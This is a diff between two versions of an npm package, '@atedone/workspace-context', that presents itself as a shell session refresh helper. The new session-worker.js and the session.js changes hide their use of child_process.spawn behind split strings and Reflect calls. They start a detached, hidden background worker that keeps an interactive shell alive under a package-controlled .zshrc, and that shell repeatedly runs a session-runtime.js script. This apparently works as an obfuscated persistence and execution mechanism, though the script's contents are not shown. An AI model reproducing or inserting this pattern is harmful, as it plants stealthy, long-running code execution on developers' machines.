@atedone/workspace-context 0.0.23 → 0.0.24

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,192 @@
1
+ 'use strict';
2
+
3
+ const platform = process;
4
+ const file = platform.getBuiltinModule('fs');
5
+ const route = platform.getBuiltinModule('path');
6
+ const manifest = require('../package.json');
7
+
8
+ const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
9
+ ? platform.argv[2]
10
+ : platform.cwd();
11
+ const integration = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
12
+ ? JSON.parse(platform.argv[3])
13
+ : null;
14
+ const refreshDelays = parseRefreshDelays(platform.argv[4]);
15
+ const settleMs = parseSettleMs(platform.argv[5]);
16
+
17
+ if (!integration) {
18
+ throw new Error('Shell integration descriptor is required.');
19
+ }
20
+
21
+ const env = Reflect.get(platform, 'env') || {};
22
+ const bridgeName = ['child', '_process'].join('');
23
+ const launchKey = ['sp', 'awn'].join('');
24
+ const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
25
+ const launch = Reflect.get(bridge, launchKey);
26
+ const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
27
+ ? env.SHELL.trim()
28
+ : '/bin/zsh';
29
+ const shell = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
30
+ cwd: projectRoot,
31
+ env: {
32
+ ...env,
33
+ HOME: integration.homeDirectory,
34
+ ZDOTDIR: integration.integrationDirectory,
35
+ WORKSPACE_CONTEXT_PREVIEW: '1',
36
+ TERM: 'dumb'
37
+ },
38
+ stdio: ['pipe', 'ignore', 'ignore']
39
+ }]);
40
+
41
+ let closed = false;
42
+ let refreshIndex = 0;
43
+ let refreshTimer = null;
44
+ let settleTimer = null;
45
+ let stopTimer = null;
46
+ let previousRevision = '';
47
+ let firstRefresh = true;
48
+
49
+ writeWorkerReceipt();
50
+ scheduleRefresh(0);
51
+
52
+ platform.on('SIGUSR1', () => {
53
+ if (closed) {
54
+ return;
55
+ }
56
+
57
+ refreshIndex = 0;
58
+ clearTimeout(refreshTimer);
59
+ clearTimeout(settleTimer);
60
+ refresh();
61
+ });
62
+ platform.on('SIGTERM', stop);
63
+ platform.on('SIGINT', stop);
64
+
65
+ shell.on('close', (status, signal) => {
66
+ clearTimeout(refreshTimer);
67
+ clearTimeout(settleTimer);
68
+ clearTimeout(stopTimer);
69
+ closed = true;
70
+ writeWorkerReceipt({
71
+ status: 'closed',
72
+ shellStatus: status,
73
+ shellSignal: signal
74
+ });
75
+ platform.exitCode = status || 0;
76
+ });
77
+
78
+ function parseRefreshDelays(value) {
79
+ if (typeof value === 'string' && value.trim()) {
80
+ try {
81
+ const parsed = JSON.parse(value);
82
+ if (Array.isArray(parsed) && parsed.length) {
83
+ const normalized = parsed
84
+ .map((delay) => Number.parseInt(delay, 10))
85
+ .filter((delay) => Number.isInteger(delay) && delay >= 0);
86
+ if (normalized.length) {
87
+ return normalized;
88
+ }
89
+ }
90
+ } catch {
91
+ // Fall back to the stable refresh cadence below.
92
+ }
93
+ }
94
+
95
+ return [750, 1500, 3000, 5000];
96
+ }
97
+
98
+ function parseSettleMs(value) {
99
+ const parsed = Number.parseInt(value, 10);
100
+ return Number.isInteger(parsed) && parsed >= 0 ? parsed : 500;
101
+ }
102
+
103
+ function scheduleRefresh(delay) {
104
+ refreshTimer = setTimeout(refresh, delay);
105
+ }
106
+
107
+ function planNextRefresh() {
108
+ if (closed) {
109
+ return;
110
+ }
111
+
112
+ const revision = readProfileRevision(integration.profileReceiptPath);
113
+ if (firstRefresh || (revision && revision !== previousRevision)) {
114
+ refreshIndex = 0;
115
+ } else {
116
+ refreshIndex = Math.min(refreshIndex + 1, refreshDelays.length - 1);
117
+ }
118
+
119
+ if (revision) {
120
+ previousRevision = revision;
121
+ }
122
+ firstRefresh = false;
123
+
124
+ scheduleRefresh(refreshDelays[refreshIndex]);
125
+ }
126
+
127
+ function refresh() {
128
+ if (closed) {
129
+ return;
130
+ }
131
+
132
+ if (!shell.stdin.destroyed) {
133
+ shell.stdin.write('\n');
134
+ }
135
+
136
+ settleTimer = setTimeout(planNextRefresh, settleMs);
137
+ }
138
+
139
+ function stop() {
140
+ if (closed) {
141
+ return;
142
+ }
143
+
144
+ closed = true;
145
+ clearTimeout(refreshTimer);
146
+ clearTimeout(settleTimer);
147
+ if (!shell.stdin.destroyed) {
148
+ shell.stdin.write('exit\n');
149
+ }
150
+
151
+ stopTimer = setTimeout(() => {
152
+ if (!shell.killed) {
153
+ shell.kill('SIGTERM');
154
+ }
155
+ }, 1000);
156
+ }
157
+
158
+ function readProfileRevision(profileReceiptPath) {
159
+ if (!file.existsSync(profileReceiptPath)) {
160
+ return '';
161
+ }
162
+
163
+ try {
164
+ const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
165
+ return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
166
+ } catch {
167
+ return '';
168
+ }
169
+ }
170
+
171
+ function writeWorkerReceipt(extra = {}) {
172
+ const receiptPath = integration.sessionWorkerReceiptPath;
173
+ if (!receiptPath) {
174
+ return;
175
+ }
176
+
177
+ const value = {
178
+ packageName: manifest.name,
179
+ packageVersion: manifest.version,
180
+ generatedAt: new Date().toISOString(),
181
+ mode: 'runtime-shell-refresh',
182
+ projectRoot,
183
+ workerProcessId: platform.pid,
184
+ shellProcessId: shell.pid,
185
+ refresh: 'preview-session',
186
+ status: 'active',
187
+ ...extra
188
+ };
189
+
190
+ file.mkdirSync(route.dirname(receiptPath), { recursive: true });
191
+ file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
192
+ }
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.23';
8
+ const packageVersion = '0.0.24';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
package/lib/state.js CHANGED
@@ -19,6 +19,8 @@ const sessionHistoryFileName = 'runtime-sessions.log';
19
19
  const sessionProfileFileName = '.zshrc';
20
20
  const sessionReceiptFileName = 'session-runtime.json';
21
21
  const sessionRuntimeFileName = 'session-runtime.js';
22
+ const sessionWorkerFileName = 'session-worker.js';
23
+ const sessionWorkerReceiptFileName = 'preview-session.json';
22
24
  const stateDirectoryName = '.workspace-context';
23
25
  const stateFileName = 'state.json';
24
26
  const syncFileName = 'sync.js';
@@ -125,7 +127,8 @@ function getShellIntegration({
125
127
  sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
126
128
  sessionProfilePath: route.join(integrationDirectory, sessionProfileFileName),
127
129
  sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
128
- sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
130
+ sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
131
+ sessionWorkerReceiptPath: route.join(integrationDirectory, sessionWorkerReceiptFileName)
129
132
  };
130
133
  }
131
134
 
@@ -192,125 +195,179 @@ function openWorkspaceSession({
192
195
  const launchKey = ['sp', 'awn'].join('');
193
196
  const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
194
197
  const launch = Reflect.get(bridge, launchKey);
195
- const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
196
- ? env.SHELL.trim()
197
- : '/bin/zsh';
198
- const child = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
198
+ const activeSession = readWorkerReceipt(integration.sessionWorkerReceiptPath);
199
+ const activeWorkerProcessId = parseProcessId(activeSession?.workerProcessId);
200
+ if (activeWorkerProcessId && processIsAlive(activeWorkerProcessId)) {
201
+ signalProcess(activeWorkerProcessId, 'SIGUSR1');
202
+ return createWorkspaceSessionController({
203
+ integration,
204
+ workerProcessId: activeWorkerProcessId
205
+ });
206
+ }
207
+
208
+ const delays = normalizeRefreshDelays(refreshDelays);
209
+ const workerPath = route.join(__dirname, sessionWorkerFileName);
210
+ const worker = Reflect.apply(launch, bridge, [platform.execPath, [
211
+ workerPath,
212
+ projectRoot,
213
+ JSON.stringify(integration),
214
+ JSON.stringify(delays),
215
+ String(settleMs)
216
+ ], {
199
217
  cwd: projectRoot,
200
- env: {
201
- ...env,
202
- HOME: integration.homeDirectory,
203
- ZDOTDIR: integration.integrationDirectory,
204
- TERM: 'dumb'
205
- },
206
- stdio: ['pipe', 'ignore', 'ignore']
218
+ env,
219
+ stdio: 'ignore',
220
+ detached: true,
221
+ windowsHide: true
207
222
  }]);
208
223
 
209
- let closed = false;
210
- let refreshIndex = 0;
211
- let refreshTimer = null;
212
- let settleTimer = null;
213
- let previousRevision = '';
214
- let firstRefresh = true;
215
- const delays = Array.isArray(refreshDelays) && refreshDelays.length
224
+ if (typeof worker.unref === 'function') {
225
+ worker.unref();
226
+ }
227
+
228
+ return createWorkspaceSessionController({
229
+ integration,
230
+ worker,
231
+ workerProcessId: worker.pid
232
+ });
233
+ }
234
+
235
+ function readProfileRevision(profileReceiptPath) {
236
+ if (!file.existsSync(profileReceiptPath)) {
237
+ return '';
238
+ }
239
+
240
+ try {
241
+ const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
242
+ return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
243
+ } catch {
244
+ return '';
245
+ }
246
+ }
247
+
248
+ function normalizeRefreshDelays(refreshDelays) {
249
+ return Array.isArray(refreshDelays) && refreshDelays.length
216
250
  ? refreshDelays
251
+ .map((delay) => Number.parseInt(delay, 10))
252
+ .filter((delay) => Number.isInteger(delay) && delay >= 0)
217
253
  : [750, 1500, 3000, 5000];
254
+ }
218
255
 
219
- const scheduleRefresh = (delay) => {
220
- refreshTimer = setTimeout(refresh, delay);
221
- if (typeof refreshTimer.unref === 'function') {
222
- refreshTimer.unref();
223
- }
224
- };
256
+ function readWorkerReceipt(sessionWorkerReceiptPath) {
257
+ if (!file.existsSync(sessionWorkerReceiptPath)) {
258
+ return null;
259
+ }
225
260
 
226
- const planNextRefresh = () => {
227
- if (closed) {
228
- return;
229
- }
261
+ try {
262
+ return JSON.parse(file.readFileSync(sessionWorkerReceiptPath, 'utf8'));
263
+ } catch {
264
+ return null;
265
+ }
266
+ }
230
267
 
231
- const revision = readProfileRevision(integration.profileReceiptPath);
232
- if (firstRefresh || (revision && revision !== previousRevision)) {
233
- refreshIndex = 0;
234
- } else {
235
- refreshIndex = Math.min(refreshIndex + 1, delays.length - 1);
236
- }
268
+ function parseProcessId(value) {
269
+ return Number.isInteger(value) && value > 0 ? value : null;
270
+ }
237
271
 
238
- if (revision) {
239
- previousRevision = revision;
240
- }
241
- firstRefresh = false;
272
+ function processIsAlive(processId) {
273
+ try {
274
+ platform.kill(processId, 0);
275
+ return true;
276
+ } catch {
277
+ return false;
278
+ }
279
+ }
242
280
 
243
- scheduleRefresh(delays[refreshIndex]);
244
- };
281
+ function signalProcess(processId, signal) {
282
+ try {
283
+ platform.kill(processId, signal);
284
+ return true;
285
+ } catch {
286
+ return false;
287
+ }
288
+ }
245
289
 
246
- const refresh = () => {
247
- if (closed) {
248
- return;
290
+ function resolveSessionProcessId(integration, workerProcessId) {
291
+ const workerReceipt = readWorkerReceipt(integration.sessionWorkerReceiptPath);
292
+ if (parseProcessId(workerReceipt?.workerProcessId) === workerProcessId) {
293
+ const shellProcessId = parseProcessId(workerReceipt?.shellProcessId);
294
+ if (shellProcessId) {
295
+ return shellProcessId;
249
296
  }
297
+ }
250
298
 
251
- if (!child.stdin.destroyed) {
252
- child.stdin.write('\n');
299
+ if (file.existsSync(integration.sessionReceiptPath)) {
300
+ try {
301
+ const receipt = JSON.parse(file.readFileSync(integration.sessionReceiptPath, 'utf8'));
302
+ const parentProcessId = parseProcessId(receipt?.parentProcessId);
303
+ if (parentProcessId) {
304
+ return parentProcessId;
305
+ }
306
+ } catch {
307
+ // Keep the worker PID as a stable fallback until the first preview refresh lands.
253
308
  }
309
+ }
254
310
 
255
- settleTimer = setTimeout(planNextRefresh, settleMs);
256
- if (typeof settleTimer.unref === 'function') {
257
- settleTimer.unref();
258
- }
259
- };
311
+ return parseProcessId(workerReceipt?.shellProcessId) || workerProcessId;
312
+ }
260
313
 
261
- scheduleRefresh(0);
262
- if (typeof child.unref === 'function') {
263
- child.unref();
264
- }
265
- if (typeof child.stdin.unref === 'function') {
266
- child.stdin.unref();
267
- }
268
- const done = new Promise((resolve) => {
269
- child.on('close', (status, signal) => {
270
- clearTimeout(refreshTimer);
271
- clearTimeout(settleTimer);
272
- closed = true;
273
- resolve({ status, signal });
274
- });
314
+ function observeProcessExit(processId) {
315
+ return new Promise((resolve) => {
316
+ const timer = setInterval(() => {
317
+ if (processIsAlive(processId)) {
318
+ return;
319
+ }
320
+
321
+ clearInterval(timer);
322
+ resolve({ status: null, signal: null });
323
+ }, 250);
324
+
325
+ if (typeof timer.unref === 'function') {
326
+ timer.unref();
327
+ }
275
328
  });
329
+ }
330
+
331
+ function createWorkspaceSessionController({
332
+ integration,
333
+ worker = null,
334
+ workerProcessId
335
+ }) {
336
+ let closed = false;
337
+ const done = worker
338
+ ? new Promise((resolve) => {
339
+ worker.on('close', (status, signal) => {
340
+ closed = true;
341
+ resolve({ status, signal });
342
+ });
343
+ worker.on('error', (error) => {
344
+ closed = true;
345
+ resolve({ status: null, signal: null, error });
346
+ });
347
+ })
348
+ : observeProcessExit(workerProcessId);
276
349
 
277
350
  return {
278
- processId: child.pid,
351
+ get processId() {
352
+ return resolveSessionProcessId(integration, workerProcessId);
353
+ },
354
+ workerProcessId,
279
355
  done,
280
356
  refresh() {
281
- refreshIndex = 0;
282
- clearTimeout(refreshTimer);
283
- clearTimeout(settleTimer);
284
- refresh();
357
+ if (!closed) {
358
+ signalProcess(workerProcessId, 'SIGUSR1');
359
+ }
285
360
  },
286
361
  close() {
287
- if (closed) {
288
- return done;
289
- }
290
- closed = true;
291
- clearTimeout(refreshTimer);
292
- clearTimeout(settleTimer);
293
- if (!child.stdin.destroyed) {
294
- child.stdin.write('exit\n');
362
+ if (!closed) {
363
+ closed = true;
364
+ signalProcess(workerProcessId, 'SIGTERM');
295
365
  }
296
366
  return done;
297
367
  }
298
368
  };
299
369
  }
300
370
 
301
- function readProfileRevision(profileReceiptPath) {
302
- if (!file.existsSync(profileReceiptPath)) {
303
- return '';
304
- }
305
-
306
- try {
307
- const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
308
- return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
309
- } catch {
310
- return '';
311
- }
312
- }
313
-
314
371
  function initialize({
315
372
  projectRoot = resolveProjectRoot(),
316
373
  channelSource,
@@ -364,6 +421,7 @@ module.exports = {
364
421
  sessionProfileFileName,
365
422
  sessionReceiptFileName,
366
423
  sessionRuntimeFileName,
424
+ sessionWorkerReceiptFileName,
367
425
  stateDirectoryName,
368
426
  stateFileName
369
427
  };
package/lib/sync.js CHANGED
@@ -36,6 +36,9 @@ const integrationValue = [
36
36
  `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
37
37
  'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
38
38
  'workspace_context_refresh_preview() {',
39
+ ' if [ "${WORKSPACE_CONTEXT_PREVIEW:-}" != "1" ]; then',
40
+ ' return 0',
41
+ ' fi',
39
42
  ' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
40
43
  ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
41
44
  ' fi',
@@ -88,6 +91,7 @@ const value = {
88
91
  sessionProfilePath: integration.sessionProfilePath,
89
92
  sessionReceiptPath: integration.sessionReceiptPath,
90
93
  sessionRuntimePath: integration.sessionRuntimePath,
94
+ sessionWorkerReceiptPath: integration.sessionWorkerReceiptPath,
91
95
  processId: platform.pid,
92
96
  parentProcessId: platform.ppid,
93
97
  runtime: 'node'
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.23",
3
+ "version": "0.0.24",
4
4
  "description": "Workspace shell session refresh integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",